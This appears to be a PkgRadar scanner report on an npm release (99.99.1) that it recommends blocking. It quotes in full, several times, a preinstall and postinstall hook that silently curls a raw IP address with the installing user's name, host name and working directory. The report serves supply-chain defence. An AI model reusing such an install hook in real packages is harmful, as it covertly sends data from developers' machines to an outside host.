Package evidence

[email protected]

Install Lifecycle Repeated Payload: preinstall,postinstall="curl -s 'http://3.7.226.146:9000/callback?user=$(whoami)&host=$(hostname)&pwd=$(pwd)&ts=$(date +%s)' > /dev/null 2>&1 || true"

Trust signals

Why this verdict

PkgRadar discounts a release’s score when public reputation argues against novel malware. The verdict above already reflects these — the panel just explains what was applied.

Weekly downloads: 128
Versions published: 2
First published: Jun 2026
Publisher: palanichamy_perumal

Recommended action

Block this update

Static evidence trips multiple high-signal indicators. Quarantine the release until the publisher validates the change or you can rule out the indicators below.

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curl -fsS https://pkgradar.com/gate/npm \
  -H "Authorization: Bearer $PKGRADAR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"specs":["[email protected]"],"fail_on":"high"}'

GitHub Actions step:

- name: PkgRadar gate
  run: |
    curl -fsS https://pkgradar.com/gate/npm \
      -H "Authorization: Bearer ${{ secrets.PKGRADAR_TOKEN }}" \
      -H "Content-Type: application/json" \
      -d '{"specs":["[email protected]"],"fail_on":"high"}'

Publisherpalanichamy_perumal

Artifact bytes349

Previous version1.0.0

Published2026-06-15T10:29:31.889Z

SHA-25650fb40a08c5d46c28aee1236f3eb6a3d023c1b39e02f79ffdb71b19f43185e6c

Why flagged

What the scanner saw

New Lifecycle Script Vs Previous: preinstall added in 99.99.1 vs 1.0.0: "curl -s 'http://3.7.226.146:9000/callback?user=$(whoami)&host=$(hostname)&pwd=$(pwd)&ts=$(date +%s)' > /dev/null 2>&1 || true"

1 candidate cluster(s) currently reference this release.

Not observed: package install, lifecycle script execution, or sandbox execution. PkgRadar only inspects on-disk artifacts.

Availability ledger

available

high

11h agoLast checked

highRisk

165Score

99.99.1Version

Status history (1 event)

new → available11h ago · risk high · score 165 · status changed

Related candidates

Linked campaigns and clusters

Publisher / release actor burstactive

palanichamy_perumal

2 members · evidence strength 61

Publisher / release actor burstcandidate

palanichamy_perumal

2 members · max score 165

Evidence

Static findings

7 static · 2 from release diff · showing high-signal first.

Severity	Kind	Path	Detail	Points
high	New Lifecycle Script Vs Previous	package.json	preinstall added in 99.99.1 vs 1.0.0: "curl -s 'http://3.7.226.146:9000/callback?user=$(whoami)&host=$(hostname)&pwd=$(pwd)&ts=$(date +%s)' > /dev/null 2>&1 \|\| true"	40
high	New Lifecycle Script Vs Previous	package.json	postinstall added in 99.99.1 vs 1.0.0: "curl -s 'http://3.7.226.146:9000/callback?user=$(whoami)&host=$(hostname)&pwd=$(pwd)&ts=$(date +%s)' > /dev/null 2>&1 \|\| true"	40
high	Install Lifecycle Repeated Payload	package.json	preinstall,postinstall="curl -s 'http://3.7.226.146:9000/callback?user=$(whoami)&host=$(hostname)&pwd=$(pwd)&ts=$(date +%s)' > /dev/null 2>&1 \|\| true"	25
high	New Account With Lifecycle Hook	package.json	package first published 7 day(s) ago, 2 total version(s), has lifecycle hook	25
high	Install Lifecycle Suppresses Failure	package.json	preinstall="curl -s 'http://3.7.226.146:9000/callback?user=$(whoami)&host=$(hostname)&pwd=$(pwd)&ts=$(date +%s)' > /dev/null 2>&1 \|\| true"	20
high	Install Lifecycle Suppresses Failure	package.json	postinstall="curl -s 'http://3.7.226.146:9000/callback?user=$(whoami)&host=$(hostname)&pwd=$(pwd)&ts=$(date +%s)' > /dev/null 2>&1 \|\| true"	20
medium	Suspicious Publish Context	manifest	{"package_age_days":7,"publisher":"palanichamy_perumal","burst_same_day":0,"burst_week":0,"lure":null,"version_anomaly":true,"new_account":true}	10

Show all 9 findings (low-signal and informational)

Severity	Kind	Path	Detail	Points
high	New Lifecycle Script Vs Previous	package.json	preinstall added in 99.99.1 vs 1.0.0: "curl -s 'http://3.7.226.146:9000/callback?user=$(whoami)&host=$(hostname)&pwd=$(pwd)&ts=$(date +%s)' > /dev/null 2>&1 \|\| true"	40
high	New Lifecycle Script Vs Previous	package.json	postinstall added in 99.99.1 vs 1.0.0: "curl -s 'http://3.7.226.146:9000/callback?user=$(whoami)&host=$(hostname)&pwd=$(pwd)&ts=$(date +%s)' > /dev/null 2>&1 \|\| true"	40
high	Install Lifecycle Repeated Payload	package.json	preinstall,postinstall="curl -s 'http://3.7.226.146:9000/callback?user=$(whoami)&host=$(hostname)&pwd=$(pwd)&ts=$(date +%s)' > /dev/null 2>&1 \|\| true"	25
high	New Account With Lifecycle Hook	package.json	package first published 7 day(s) ago, 2 total version(s), has lifecycle hook	25
high	Install Lifecycle Suppresses Failure	package.json	preinstall="curl -s 'http://3.7.226.146:9000/callback?user=$(whoami)&host=$(hostname)&pwd=$(pwd)&ts=$(date +%s)' > /dev/null 2>&1 \|\| true"	20
high	Install Lifecycle Suppresses Failure	package.json	postinstall="curl -s 'http://3.7.226.146:9000/callback?user=$(whoami)&host=$(hostname)&pwd=$(pwd)&ts=$(date +%s)' > /dev/null 2>&1 \|\| true"	20
medium	Suspicious Publish Context	manifest	{"package_age_days":7,"publisher":"palanichamy_perumal","burst_same_day":0,"burst_week":0,"lure":null,"version_anomaly":true,"new_account":true}	10
low	Install-time lifecycle script	package.json	preinstall="curl -s 'http://3.7.226.146:9000/callback?user=$(whoami)&host=$(hostname)&pwd=$(pwd)&ts=$(date +%s)' > /dev/null 2>&1 \|\| true"	5
low	Install-time lifecycle script	package.json	postinstall="curl -s 'http://3.7.226.146:9000/callback?user=$(whoami)&host=$(hostname)&pwd=$(pwd)&ts=$(date +%s)' > /dev/null 2>&1 \|\| true"	5

Manifest

Package metadata

Scripts2

postinstallcurl -s 'http://3.7.226.146:9000/callback?user=$(whoami)&host=$(hostname)&pwd=$(pwd)&ts=$(date +%s)' > /dev/null 2>&1 || true
preinstallcurl -s 'http://3.7.226.146:9000/callback?user=$(whoami)&host=$(hostname)&pwd=$(pwd)&ts=$(date +%s)' > /dev/null 2>&1 || true